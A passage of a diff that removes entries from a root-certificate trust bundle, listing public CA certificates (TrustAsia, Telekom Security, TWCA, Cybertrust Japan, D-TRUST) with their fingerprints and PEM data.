-o0UvFJ/1TCplQ3IM98P4lYsU84UgYt1UU90s3BiVaU+DR3BAM1h3Egyi61IxHkzJ -qM7F78PRreBrAwA0JrRUITWXAdxfG/F851X6LWh3e9NpzNMOa7pNdkTWwhWaJuyw -xfW70Xp0wmzNxbVe9kzmWy2B27O3Opee7c9GslA9hGCZcbUztVdF5kJHdWoOsAgM -rr3e97sPWD2PAzHoPYJQyi9eDF20l74gNAf0xBLh7tew2VktafcxBPTy+av5EzH4 -AXcOPUIjJsyacmdRIXrMPIWo6iFqO9taPKU0nprALN+AnCng33eU0aKAQv9qTFsR -0PXNor6uzFFcw9VUewyu1rkGd4Di7wcaaMxZUa1+XGdrudviB0JbuAEFWDlN5LuY -o7Ey7Nmj1m+UI/87tyll5gfp77YZ6ufCOB0yiJA8EytuzO+rdwY0d4RPcuSBhPm5 -dDTedk+SKlOxJTnbPP/lPqYO5Wue/9vsL3SD3460s6neFE3/MaNFcyT6lSnMEpcE -oji2jbDwN/zIIX8/syQbPYtuzE2wFg2WHYMfRsCbvUOZ58SWLs5fyQ== ------END CERTIFICATE----- - -# Issuer: CN=TrustAsia Global Root CA G3 O=TrustAsia Technologies, Inc. -# Subject: CN=TrustAsia Global Root CA G3 O=TrustAsia Technologies, Inc. -# Label: "TrustAsia Global Root CA G3" -# Serial: 576386314500428537169965010905813481816650257167 -# MD5 Fingerprint: 30:42:1b:b7:bb:81:75:35:e4:16:4f:53:d2:94:de:04 -# SHA1 Fingerprint: 63:cf:b6:c1:27:2b:56:e4:88:8e:1c:23:9a:b6:2e:81:47:24:c3:c7 -# SHA256 Fingerprint: e0:d3:22:6a:eb:11:63:c2:e4:8f:f9:be:3b:50:b4:c6:43:1b:e7:bb:1e:ac:c5:c3:6b:5d:5e:c5:09:03:9a:08 ------BEGIN CERTIFICATE----- -MIIFpTCCA42gAwIBAgIUZPYOZXdhaqs7tOqFhLuxibhxkw8wDQYJKoZIhvcNAQEM -BQAwWjELMAkGA1UEBhMCQ04xJTAjBgNVBAoMHFRydXN0QXNpYSBUZWNobm9sb2dp -ZXMsIEluYy4xJDAiBgNVBAMMG1RydXN0QXNpYSBHbG9iYWwgUm9vdCBDQSBHMzAe -Fw0yMTA1MjAwMjEwMTlaFw00NjA1MTkwMjEwMTlaMFoxCzAJBgNVBAYTAkNOMSUw -IwYDVQQKDBxUcnVzdEFzaWEgVGVjaG5vbG9naWVzLCBJbmMuMSQwIgYDVQQDDBtU -cnVzdEFzaWEgR2xvYmFsIFJvb3QgQ0EgRzMwggIiMA0GCSqGSIb3DQEBAQUAA4IC -DwAwggIKAoICAQDAMYJhkuSUGwoqZdC+BqmHO1ES6nBBruL7dOoKjbmzTNyPtxNS -T1QY4SxzlZHFZjtqz6xjbYdT8PfxObegQ2OwxANdV6nnRM7EoYNl9lA+sX4WuDqK -AtCWHwDNBSHvBm3dIZwZQ0WhxeiAysKtQGIXBsaqvPPW5vxQfmZCHzyLpnl5hkA1 -nyDvP+uLRx+PjsXUjrYsyUQE49RDdT/VP68czH5GX6zfZBCK70bwkPAPLfSIC7Ep -qq+FqklYqL9joDiR5rPmd2jE+SoZhLsO4fWvieylL1AgdB4SQXMeJNnKziyhWTXA -yB1GJ2Faj/lN03J5Zh6fFZAhLf3ti1ZwA0pJPn9pMRJpxx5cynoTi+jm9WAPzJMs -hH/x/Gr8m0ed262IPfN2dTPXS6TIi/n1Q1hPy8gDVI+lhXgEGvNz8teHHUGf59gX -zhqcD0r83ERoVGjiQTz+LISGNzzNPy+i2+f3VANfWdP3kXjHi3dqFuVJhZBFcnAv -kV34PmVACxmZySYgWmjBNb9Pp1Hx2BErW+Canig7CjoKH8GB5S7wprlppYiU5msT -f9FkPz2ccEblooV7WIQn3MSAPmeamseaMQ4w7OYXQJXZRe0Blqq/DPNL0WP3E1jA -uPP6Z92bfW1K/zJMtSU7/xxnD4UiWQWRkUF3gdCFTIcQcf+eQxuulXUtgQIDAQAB -o2MwYTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFEDk5PIj7zjKsK5Xf/Ih -MBY027ySMB0GA1UdDgQWBBRA5OTyI+84yrCuV3/yITAWNNu8kjAOBgNVHQ8BAf8E -BAMCAQYwDQYJKoZIhvcNAQEMBQADggIBACY7UeFNOPMyGLS0XuFlXsSUT9SnYaP4 -wM8zAQLpw6o1D/GUE3d3NZ4tVlFEbuHGLige/9rsR82XRBf34EzC4Xx8MnpmyFq2 -XFNFV1pF1AWZLy4jVe5jaN/TG3inEpQGAHUNcoTpLrxaatXeL1nHo+zSh2bbt1S1 -JKv0Q3jbSwTEb93mPmY+KfJLaHEih6D4sTNjduMNhXJEIlU/HHzp/LgV6FL6qj6j -ITk1dImmasI5+njPtqzn59ZW/yOSLlALqbUHM/Q4X6RJpstlcHboCoWASzY9M/eV -VHUl2qzEc4Jl6VL1XP04lQJqaTDFHApXB64ipCz5xUG3uOyfT0gA+QEEVcys+TIx -xHWVBqB/0Y0n3bOppHKH/lmLmnp0Ft0WpWIp6zqW3IunaFnT63eROfjXy9mPX1on -AX1daBli2MjN9LdyR75bl87yraKZk62Uy5P2EgmVtqvXO9A/EcswFi55gORngS1d -7XB4tmBZrOFdRWOPyN9yaFvqHbgB8X7754qz41SgOAngPN5C8sLtLpvzHzW2Ntjj -gKGLzZlkD8Kqq7HK9W+eQ42EVJmzbsASZthwEPEGNTNDqJwuuhQxzhB/HIbjj9LV -+Hfsm6vxL2PZQl/gZ4FkkfGXL/xuJvYz+NO1+MRiqzFRJQJ6+N1rZdVtTTDIZbpo -FGWsJwt0ivKH ------END CERTIFICATE----- - -# Issuer: CN=TrustAsia Global Root CA G4 O=TrustAsia Technologies, Inc. -# Subject: CN=TrustAsia Global Root CA G4 O=TrustAsia Technologies, Inc. -# Label: "TrustAsia Global Root CA G4" -# Serial: 451799571007117016466790293371524403291602933463 -# MD5 Fingerprint: 54:dd:b2:d7:5f:d8:3e:ed:7c:e0:0b:2e:cc:ed:eb:eb -# SHA1 Fingerprint: 57:73:a5:61:5d:80:b2:e6:ac:38:82:fc:68:07:31:ac:9f:b5:92:5a -# SHA256 Fingerprint: be:4b:56:cb:50:56:c0:13:6a:52:6d:f4:44:50:8d:aa:36:a0:b5:4f:42:e4:ac:38:f7:2a:f4:70:e4:79:65:4c ------BEGIN CERTIFICATE----- -MIICVTCCAdygAwIBAgIUTyNkuI6XY57GU4HBdk7LKnQV1tcwCgYIKoZIzj0EAwMw -WjELMAkGA1UEBhMCQ04xJTAjBgNVBAoMHFRydXN0QXNpYSBUZWNobm9sb2dpZXMs -IEluYy4xJDAiBgNVBAMMG1RydXN0QXNpYSBHbG9iYWwgUm9vdCBDQSBHNDAeFw0y -MTA1MjAwMjEwMjJaFw00NjA1MTkwMjEwMjJaMFoxCzAJBgNVBAYTAkNOMSUwIwYD -VQQKDBxUcnVzdEFzaWEgVGVjaG5vbG9naWVzLCBJbmMuMSQwIgYDVQQDDBtUcnVz -dEFzaWEgR2xvYmFsIFJvb3QgQ0EgRzQwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATx -s8045CVD5d4ZCbuBeaIVXxVjAd7Cq92zphtnS4CDr5nLrBfbK5bKfFJV4hrhPVbw -LxYI+hW8m7tH5j/uqOFMjPXTNvk4XatwmkcN4oFBButJ+bAp3TPsUKV/eSm4IJij -YzBhMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUpbtKl86zK3+kMd6Xg1mD -pm9xy94wHQYDVR0OBBYEFKW7SpfOsyt/pDHel4NZg6ZvccveMA4GA1UdDwEB/wQE -AwIBBjAKBggqhkjOPQQDAwNnADBkAjBe8usGzEkxn0AAbbd+NvBNEU/zy4k6LHiR -UKNbwMp1JvK/kF0LgoxgKJ/GcJpo5PECMFxYDlZ2z1jD1xCMuo6u47xkdUfFVZDj -/bpV6wfEU6s3qe4hsiFbYI89MvHVI5TWWA== ------END CERTIFICATE----- - -# Issuer: CN=Telekom Security TLS ECC Root 2020 O=Deutsche Telekom Security GmbH -# Subject: CN=Telekom Security TLS ECC Root 2020 O=Deutsche Telekom Security GmbH -# Label: "Telekom Security TLS ECC Root 2020" -# Serial: 72082518505882327255703894282316633856 -# MD5 Fingerprint: c1:ab:fe:6a:10:2c:03:8d:bc:1c:22:32:c0:85:a7:fd -# SHA1 Fingerprint: c0:f8:96:c5:a9:3b:01:06:21:07:da:18:42:48:bc:e9:9d:88:d5:ec -# SHA256 Fingerprint: 57:8a:f4:de:d0:85:3f:4e:59:98:db:4a:ea:f9:cb:ea:8d:94:5f:60:b6:20:a3:8d:1a:3c:13:b2:bc:7b:a8:e1 ------BEGIN CERTIFICATE----- -MIICQjCCAcmgAwIBAgIQNjqWjMlcsljN0AFdxeVXADAKBggqhkjOPQQDAzBjMQsw -CQYDVQQGEwJERTEnMCUGA1UECgweRGV1dHNjaGUgVGVsZWtvbSBTZWN1cml0eSBH -bWJIMSswKQYDVQQDDCJUZWxla29tIFNlY3VyaXR5IFRMUyBFQ0MgUm9vdCAyMDIw -MB4XDTIwMDgyNTA3NDgyMFoXDTQ1MDgyNTIzNTk1OVowYzELMAkGA1UEBhMCREUx -JzAlBgNVBAoMHkRldXRzY2hlIFRlbGVrb20gU2VjdXJpdHkgR21iSDErMCkGA1UE -AwwiVGVsZWtvbSBTZWN1cml0eSBUTFMgRUNDIFJvb3QgMjAyMDB2MBAGByqGSM49 -AgEGBSuBBAAiA2IABM6//leov9Wq9xCazbzREaK9Z0LMkOsVGJDZos0MKiXrPk/O -tdKPD/M12kOLAoC+b1EkHQ9rK8qfwm9QMuU3ILYg/4gND21Ju9sGpIeQkpT0CdDP -f8iAC8GXs7s1J8nCG6NCMEAwHQYDVR0OBBYEFONyzG6VmUex5rNhTNHLq+O6zd6f -MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49BAMDA2cA -MGQCMHVSi7ekEE+uShCLsoRbQuHmKjYC2qBuGT8lv9pZMo7k+5Dck2TOrbRBR2Di -z6fLHgIwN0GMZt9Ba9aDAEH9L1r3ULRn0SyocddDypwnJJGDSA3PzfdUga/sf+Rn -27iQ7t0l ------END CERTIFICATE----- - -# Issuer: CN=Telekom Security TLS RSA Root 2023 O=Deutsche Telekom Security GmbH -# Subject: CN=Telekom Security TLS RSA Root 2023 O=Deutsche Telekom Security GmbH -# Label: "Telekom Security TLS RSA Root 2023" -# Serial: 44676229530606711399881795178081572759 -# MD5 Fingerprint: bf:5b:eb:54:40:cd:48:71:c4:20:8d:7d:de:0a:42:f2 -# SHA1 Fingerprint: 54:d3:ac:b3:bd:57:56:f6:85:9d:ce:e5:c3:21:e2:d4:ad:83:d0:93 -# SHA256 Fingerprint: ef:c6:5c:ad:bb:59:ad:b6:ef:e8:4d:a2:23:11:b3:56:24:b7:1b:3b:1e:a0:da:8b:66:55:17:4e:c8:97:86:46 ------BEGIN CERTIFICATE----- -MIIFszCCA5ugAwIBAgIQIZxULej27HF3+k7ow3BXlzANBgkqhkiG9w0BAQwFADBj -MQswCQYDVQQGEwJERTEnMCUGA1UECgweRGV1dHNjaGUgVGVsZWtvbSBTZWN1cml0 -eSBHbWJIMSswKQYDVQQDDCJUZWxla29tIFNlY3VyaXR5IFRMUyBSU0EgUm9vdCAy -MDIzMB4XDTIzMDMyODEyMTY0NVoXDTQ4MDMyNzIzNTk1OVowYzELMAkGA1UEBhMC -REUxJzAlBgNVBAoMHkRldXRzY2hlIFRlbGVrb20gU2VjdXJpdHkgR21iSDErMCkG -A1UEAwwiVGVsZWtvbSBTZWN1cml0eSBUTFMgUlNBIFJvb3QgMjAyMzCCAiIwDQYJ -KoZIhvcNAQEBBQADggIPADCCAgoCggIBAO01oYGA88tKaVvC+1GDrib94W7zgRJ9 -cUD/h3VCKSHtgVIs3xLBGYSJwb3FKNXVS2xE1kzbB5ZKVXrKNoIENqil/Cf2SfHV -cp6R+SPWcHu79ZvB7JPPGeplfohwoHP89v+1VmLhc2o0mD6CuKyVU/QBoCcHcqMA -U6DksquDOFczJZSfvkgdmOGjup5czQRxUX11eKvzWarE4GC+j4NSuHUaQTXtvPM6 -Y+mpFEXX5lLRbtLevOP1Czvm4MS9Q2QTps70mDdsipWol8hHD/BeEIvnHRz+sTug -BTNoBUGCwQMrAcjnj02r6LX2zWtEtefdi+zqJbQAIldNsLGyMcEWzv/9FIS3R/qy -8XDe24tsNlikfLMR0cN3f1+2JeANxdKz+bi4d9s3cXFH42AYTyS2dTd4uaNir73J -co4vzLuu2+QVUhkHM/tqty1LkCiCc/4YizWN26cEar7qwU02OxY2kTLvtkCJkUPg -8qKrBC7m8kwOFjQgrIfBLX7JZkcXFBGk8/ehJImr2BrIoVyxo/eMbcgByU/J7MT8 -rFEz0ciD0cmfHdRHNCk+y7AO+oMLKFjlKdw/fKifybYKu6boRhYPluV75Gp6SG12 -mAWl3G0eQh5C2hrgUve1g8Aae3g1LDj1H/1Joy7SWWO/gLCMk3PLNaaZlSJhZQNg -+y+TS/qanIA7AgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUtqeX -gj10hZv3PJ+TmpV5dVKMbUcwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBS2 -p5eCPXSFm/c8n5OalXl1UoxtRzANBgkqhkiG9w0BAQwFAAOCAgEAqMxhpr51nhVQ -pGv7qHBFfLp+sVr8WyP6Cnf4mHGCDG3gXkaqk/QeoMPhk9tLrbKmXauw1GLLXrtm -9S3ul0A8Yute1hTWjOKWi0FpkzXmuZlrYrShF2Y0pmtjxrlO8iLpWA1WQdH6DErw -M807u20hOq6OcrXDSvvpfeWxm4bu4uB9tPcy/SKE8YXJN3nptT+/XOR0so8RYgDd -GGah2XsjX/GO1WfoVNpbOms2b/mBsTNHM3dA+VKq3dSDz4V4mZqTuXNnQkYRIer+ -CqkbGmVps4+uFrb2S1ayLfmlyOw7YqPta9BO1UAJpB+Y1zqlklkg5LB9zVtzaL1t -xKITDmcZuI1CfmwMmm6gJC3VRRvcxAIU/oVbZZfKTpBQCHpCNfnqwmbU+AGuHrS+ -w6jv/naaoqYfRvaE7fzbzsQCzndILIyy7MMAo+wsVRjBfhnu4S/yrYObnqsZ38aK -L4x35bcF7DvB7L6Gs4a8wPfc5+pbrrLMtTWGS9DiP7bY+A4A7l3j941Y/8+LN+lj -X273CXE2whJdV/LItM3z7gLfEdxquVeEHVlNjM7IDiPCtyaaEBRx/pOyiriA8A4Q -ntOoUAw3gi/q4Iqd4Sw5/7W0cwDk90imc6y/st53BIe0o82bNSQ3+pCTE4FCxpgm -dTdmQRCsu/WU48IxK63nI1bMNSWSs1A= ------END CERTIFICATE----- - -# Issuer: CN=TWCA CYBER Root CA O=TAIWAN-CA OU=Root CA -# Subject: CN=TWCA CYBER Root CA O=TAIWAN-CA OU=Root CA -# Label: "TWCA CYBER Root CA" -# Serial: 85076849864375384482682434040119489222 -# MD5 Fingerprint: 0b:33:a0:97:52:95:d4:a9:fd:bb:db:6e:a3:55:5b:51 -# SHA1 Fingerprint: f6:b1:1c:1a:83:38:e9:7b:db:b3:a8:c8:33:24:e0:2d:9c:7f:26:66 -# SHA256 Fingerprint: 3f:63:bb:28:14:be:17:4e:c8:b6:43:9c:f0:8d:6d:56:f0:b7:c4:05:88:3a:56:48:a3:34:42:4d:6b:3e:c5:58 ------BEGIN CERTIFICATE----- -MIIFjTCCA3WgAwIBAgIQQAE0jMIAAAAAAAAAATzyxjANBgkqhkiG9w0BAQwFADBQ -MQswCQYDVQQGEwJUVzESMBAGA1UEChMJVEFJV0FOLUNBMRAwDgYDVQQLEwdSb290 -IENBMRswGQYDVQQDExJUV0NBIENZQkVSIFJvb3QgQ0EwHhcNMjIxMTIyMDY1NDI5 -WhcNNDcxMTIyMTU1OTU5WjBQMQswCQYDVQQGEwJUVzESMBAGA1UEChMJVEFJV0FO -LUNBMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJUV0NBIENZQkVSIFJvb3Qg -Q0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDG+Moe2Qkgfh1sTs6P -40czRJzHyWmqOlt47nDSkvgEs1JSHWdyKKHfi12VCv7qze33Kc7wb3+szT3vsxxF -avcokPFhV8UMxKNQXd7UtcsZyoC5dc4pztKFIuwCY8xEMCDa6pFbVuYdHNWdZsc/ -34bKS1PE2Y2yHer43CdTo0fhYcx9tbD47nORxc5zb87uEB8aBs/pJ2DFTxnk684i -JkXXYJndzk834H/nY62wuFm40AZoNWDTNq5xQwTxaWV4fPMf88oon1oglWa0zbfu -j3ikRRjpJi+NmykosaS3Om251Bw4ckVYsV7r8Cibt4LK/c/WMw+f+5eesRycnupf -Xtuq3VTpMCEobY5583WSjCb+3MX2w7DfRFlDo7YDKPYIMKoNM+HvnKkHIuNZW0CP -2oi3aQiotyMuRAlZN1vH4xfyIutuOVLF3lSnmMlLIJXcRolftBL5hSmO68gnFSDA -S9TMfAxsNAwmmyYxpjyn9tnQS6Jk/zuZQXLB4HCX8SS7K8R0IrGsayIyJNN4KsDA -oS/xUgXJP+92ZuJF2A09rZXIx4kmyA+upwMu+8Ff+iDhcK2wZSA3M2Cw1a/XDBzC -kHDXShi8fgGwsOsVHkQGzaRP6AzRwyAQ4VRlnrZR0Bp2a0JaWHY06rc3Ga4udfmW -5cFZ95RXKSWNOkyrTZpB0F8mAwIDAQABo2MwYTAOBgNVHQ8BAf8EBAMCAQYwDwYD -VR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBSdhWEUfMFib5do5E83QOGt4A1WNzAd -BgNVHQ4EFgQUnYVhFHzBYm+XaORPN0DhreANVjcwDQYJKoZIhvcNAQEMBQADggIB -AGSPesRiDrWIzLjHhg6hShbNcAu3p4ULs3a2D6f/CIsLJc+o1IN1KriWiLb73y0t -tGlTITVX1olNc79pj3CjYcya2x6a4CD4bLubIp1dhDGaLIrdaqHXKGnK/nZVekZn -68xDiBaiA9a5F/gZbG0jAn/xX9AKKSM70aoK7akXJlQKTcKlTfjF/biBzysseKNn -TKkHmvPfXvt89YnNdJdhEGoHK4Fa0o635yDRIG4kqIQnoVesqlVYL9zZyvpoBJ7t -RCT5dEA7IzOrg1oYJkK2bVS1FmAwbLGg+LhBoF1JSdJlBTrq/p1hvIbZv97Tujqx -f36SNI7JAG7cmL3c7IAFrQI932XtCwP39xaEBDG6k5TY8hL4iuO/Qq+n1M0RFxbI -Qh0UqEL20kCGoE8jypZFVmAGzbdVAaYBlGX+bgUJurSkquLvWL69J1bY73NxW0Qz -8ppy6rBePm6pUlvscG21h483XjyMnM7k8M4MZ0HMzvaAq07MTFb1wWFZk7Q+ptq4 -NxKfKjLji7gh7MMrZQzvIt6IKTtM1/r+t+FHvpw+PoP7UV31aPcuIYXcv/Fa4nzX -xeSDwWrruoBa3lwtcHb4yOWHh8qgnaHlIhInD0Q9HWzq1MKLL295q39QpsQZp6F6 -t5b5wR9iWqJDB0BeJsas7a5wFsWqynKKTbDPAYsDP27X ------END CERTIFICATE----- - -# Issuer: CN=SecureSign Root CA14 O=Cybertrust Japan Co., Ltd. -# Subject: CN=SecureSign Root CA14 O=Cybertrust Japan Co., Ltd. -# Label: "SecureSign Root CA14" -# Serial: 575790784512929437950770173562378038616896959179 -# MD5 Fingerprint: 71:0d:72:fa:92:19:65:5e:89:04:ac:16:33:f0:bc:d5 -# SHA1 Fingerprint: dd:50:c0:f7:79:b3:64:2e:74:a2:b8:9d:9f:d3:40:dd:bb:f0:f2:4f -# SHA256 Fingerprint: 4b:00:9c:10:34:49:4f:9a:b5:6b:ba:3b:a1:d6:27:31:fc:4d:20:d8:95:5a:dc:ec:10:a9:25:60:72:61:e3:38 ------BEGIN CERTIFICATE----- -MIIFcjCCA1qgAwIBAgIUZNtaDCBO6Ncpd8hQJ6JaJ90t8sswDQYJKoZIhvcNAQEM -BQAwUTELMAkGA1UEBhMCSlAxIzAhBgNVBAoTGkN5YmVydHJ1c3QgSmFwYW4gQ28u -LCBMdGQuMR0wGwYDVQQDExRTZWN1cmVTaWduIFJvb3QgQ0ExNDAeFw0yMDA0MDgw -NzA2MTlaFw00NTA0MDgwNzA2MTlaMFExCzAJBgNVBAYTAkpQMSMwIQYDVQQKExpD -eWJlcnRydXN0IEphcGFuIENvLiwgTHRkLjEdMBsGA1UEAxMUU2VjdXJlU2lnbiBS -b290IENBMTQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDF0nqh1oq/ -FjHQmNE6lPxauG4iwWL3pwon71D2LrGeaBLwbCRjOfHw3xDG3rdSINVSW0KZnvOg -vlIfX8xnbacuUKLBl422+JX1sLrcneC+y9/3OPJH9aaakpUqYllQC6KxNedlsmGy -6pJxaeQp8E+BgQQ8sqVb1MWoWWd7VRxJq3qdwudzTe/NCcLEVxLbAQ4jeQkHO6Lo -/IrPj8BGJJw4J+CDnRugv3gVEOuGTgpa/d/aLIJ+7sr2KeH6caH3iGicnPCNvg9J -kdjqOvn90Ghx2+m1K06Ckm9mH+Dw3EzsytHqunQG+bOEkJTRX45zGRBdAuVwpcAQ -0BB8b8VYSbSwbprafZX1zNoCr7gsfXmPvkPx+SgojQlD+Ajda8iLLCSxjVIHvXib -y8posqTdDEx5YMaZ0ZPxMBoH064iwurO8YQJzOAUbn8/ftKChazcqRZOhaBgy/ac -18izju3Gm5h1DVXoX+WViwKkrkMpKBGk5hIwAUt1ax5mnXkvpXYvHUC0bcl9eQjs -0Wq2XSqypWa9a4X0dFbD9ed1Uigspf9mR6XU/v6eVL9lfgHWMI+lNpyiUBzuOIAB -SMbHdPTGrMNASRZhdCyvjG817XsYAFs2PJxQDcqSMxDxJklt33UkN4Ii1+iW/RVL -ApY+B3KVfqs9TC7XyvDf4Fg/LS8EmjijAQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD -AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUBpOjCl4oaTeqYR3r6/wtbyPk -86AwDQYJKoZIhvcNAQEMBQADggIBAJaAcgkGfpzMkwQWu6A6jZJOtxEaCnFxEM0E -rX+lRVAQZk5KQaID2RFPeje5S+LGjzJmdSX7684/AykmjbgWHfYfM25I5uj4V7Ib -ed87hwriZLoAymzvftAj63iP/2SbNDefNWWipAA9EiOWWF3KY4fGoweITedpdopT -zfFP7ELyk+OZpDc8h7hi2/DsHzc/N19DzFGdtfCXwreFamgLRB7lUe6TzktuhsHS -DCRZNhqfLJGP4xjblJUK7ZGqDpncllPjYYPGFrojutzdfhrGe0K22VoF3Jpf1d+4 -2kd92jjbrDnVHmtsKheMYc2xbXIBw8MgAGJoFjHVdqqGuw6qnsb58Nn4DSEC5MUo -FlkRudlpcyqSeLiSV5sI8jrlL5WwWLdrIBRtFO8KvH7YVdiI2i/6GaX7i+B/OfVy -K4XELKzvGUWSTLNhB9xNH27SgRNcmvMSZ4PPmz+Ln52kuaiWA3rF7iDeM9ovnhp6 -dB7h7sxaOgTdsxoEqBRjrLdHEoOabPXm6RUVkRqEGQ6UROcSjiVbgGcZ3GOTEAtl -Lor6CZpO2oYofaphNdgOpygau1LgePhsumywbrmHXumZNTfxPWQrqaA0k89jL9WB -365jJ6UeTo3cKXhZ+PmhIIynJkBugnLNeLLIjzwec+fBH7/PzqUqm9tEZDKgu39c -JRNItX+S ------END CERTIFICATE----- - -# Issuer: CN=SecureSign Root CA15 O=Cybertrust Japan Co., Ltd. -# Subject: CN=SecureSign Root CA15 O=Cybertrust Japan Co., Ltd. -# Label: "SecureSign Root CA15" -# Serial: 126083514594751269499665114766174399806381178503 -# MD5 Fingerprint: 13:30:fc:c4:62:a6:a9:de:b5:c1:68:af:b5:d2:31:47 -# SHA1 Fingerprint: cb:ba:83:c8:c1:5a:5d:f1:f9:73:6f:ca:d7:ef:28:13:06:4a:07:7d -# SHA256 Fingerprint: e7:78:f0:f0:95:fe:84:37:29:cd:1a:00:82:17:9e:53:14:a9:c2:91:44:28:05:e1:fb:1d:8f:b6:b8:88:6c:3a ------BEGIN CERTIFICATE----- -MIICIzCCAamgAwIBAgIUFhXHw9hJp75pDIqI7fBw+d23PocwCgYIKoZIzj0EAwMw -UTELMAkGA1UEBhMCSlAxIzAhBgNVBAoTGkN5YmVydHJ1c3QgSmFwYW4gQ28uLCBM -dGQuMR0wGwYDVQQDExRTZWN1cmVTaWduIFJvb3QgQ0ExNTAeFw0yMDA0MDgwODMy -NTZaFw00NTA0MDgwODMyNTZaMFExCzAJBgNVBAYTAkpQMSMwIQYDVQQKExpDeWJl -cnRydXN0IEphcGFuIENvLiwgTHRkLjEdMBsGA1UEAxMUU2VjdXJlU2lnbiBSb290 -IENBMTUwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQLUHSNZDKZmbPSYAi4Io5GdCx4 -wCtELW1fHcmuS1Iggz24FG1Th2CeX2yF2wYUleDHKP+dX+Sq8bOLbe1PL0vJSpSR -ZHX+AezB2Ot6lHhWGENfa4HL9rzatAy2KZMIaY+jQjBAMA8GA1UdEwEB/wQFMAMB -Af8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTrQciu/NWeUUj1vYv0hyCTQSvT -9DAKBggqhkjOPQQDAwNoADBlAjEA2S6Jfl5OpBEHvVnCB96rMjhTKkZEBhd6zlHp -4P9mLQlO4E/0BdGF9jVg3PVys0Z9AjBEmEYagoUeYWmJSwdLZrWeqrqgHkHZAXQ6 -bkU6iYAZezKYVWOr62Nuk22rGwlgMU4= ------END CERTIFICATE----- - -# Issuer: CN=D-TRUST BR Root CA 2 2023 O=D-Trust GmbH -# Subject: CN=D-TRUST BR Root CA 2 2023 O=D-Trust GmbH -# Label: "D-TRUST BR Root CA 2 2023" -# Serial: 153168538924886464690566649552453098598 -# MD5 Fingerprint: e1:09:ed:d3:60:d4:56:1b:47:1f:b7:0c:5f:1b:5f:85 -# SHA1 Fingerprint: 2d:b0:70:ee:71:94:af:69:68:17:db:79:ce:58:9f:a0:6b:96:f7:87 -# SHA256 Fingerprint: 05:52:e6:f8:3f:df:65:e8:fa:96:70:e6:66:df:28:a4:e2:13:40:b5:10:cb:e5:25:66:f9:7c:4f:b9:4b:2b:d1 ------BEGIN CERTIFICATE----- -MIIFqTCCA5GgAwIBAgIQczswBEhb2U14LnNLyaHcZjANBgkqhkiG9w0BAQ0FADBI -MQswCQYDVQQGEwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlE -LVRSVVNUIEJSIFJvb3QgQ0EgMiAyMDIzMB4XDTIzMDUwOTA4NTYzMVoXDTM4MDUw -OTA4NTYzMFowSDELMAkGA1UEBhMCREUxFTATBgNVBAoTDEQtVHJ1c3QgR21iSDEi -MCAGA1UEAxMZRC1UUlVTVCBCUiBSb290IENBIDIgMjAyMzCCAiIwDQYJKoZIhvcN -AQEBBQADggIPADCCAgoCggIBAK7/CVmRgApKaOYkP7in5Mg6CjoWzckjYaCTcfKr -i3OPoGdlYNJUa2NRb0kz4HIHE304zQaSBylSa053bATTlfrdTIzZXcFhfUvnKLNE -gXtRr90zsWh81k5M/itoucpmacTsXld/9w3HnDY25QdgrMBM6ghs7wZ8T1soegj8 -k12b9py0i4a6Ibn08OhZWiihNIQaJZG2tY/vsvmA+vk9PBFy2OMvhnbFeSzBqZCT -Rphny4NqoFAjpzv2gTng7fC5v2Xx2Mt6++9zA84A9H3X4F07ZrjcjrqDy4d2A/wl -2ecjbwb9Z/Pg/4S8R7+1FhhGaRTMBffb00msa8yr5LULQyReS2tNZ9/WtT5PeB+U -cSTq3nD88ZP+npNa5JRal1QMNXtfbO4AHyTsA7oC9Xb0n9Sa7YUsOCIvx9gvdhFP -/Wxc6PWOJ4d/GUohR5AdeY0cW/jPSoXk7bNbjb7EZChdQcRurDhaTyN0dKkSw/bS -uREVMweR2Ds3OmMwBtHFIjYoYiMQ4EbMl6zWK11kJNXuHA7e+whadSr2Y23OC0K+ -0bpwHJwh5Q8xaRfX/Aq03u2AnMuStIv13lmiWAmlY0cL4UEyNEHZmrHZqLAbWt4N -DfTisl01gLmB1IRpkQLLddCNxbU9CZEJjxShFHR5PtbJFR2kWVki3PaKRT08EtY+ -XTIvAgMBAAGjgY4wgYswDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZ5Dw1t61 -GNVGKX5cq/ieCLxklRAwDgYDVR0PAQH/BAQDAgEGMEkGA1UdHwRCMEAwPqA8oDqG -OGh0dHA6Ly9jcmwuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3RfYnJfcm9vdF9jYV8y -XzIwMjMuY3JsMA0GCSqGSIb3DQEBDQUAA4ICAQA097N3U9swFrktpSHxQCF16+tI -FoE9c+CeJyrrd6kTpGoKWloUMz1oH4Guaf2Mn2VsNELZLdB/eBaxOqwjMa1ef67n -riv6uvw8l5VAk1/DLQOj7aRvU9f6QA4w9QAgLABMjDu0ox+2v5Eyq6+SmNMW5tTR -VFxDWy6u71cqqLRvpO8NVhTaIasgdp4D/Ca4nj8+AybmTNudX0KEPUUDAxxZiMrc -LmEkWqTqJwtzEr5SswrPMhfiHocaFpVIbVrg0M8JkiZmkdijYQ6qgYF/6FKC0ULn -4B0Y+qSFNueG4A3rvNTJ1jxD8V1Jbn6Bm2m1iWKPiFLY1/4nwSPFyysCu7Ff/vtD -hQNGvl3GyiEm/9cCnnRK3PgTFbGBVzbLZVzRHTF36SXDw7IyN9XxmAnkbWOACKsG -koHU6XCPpz+y7YaMgmo1yEJagtFSGkUPFaUA8JR7ZSdXOUPPfH/mvTWze/EZTN46 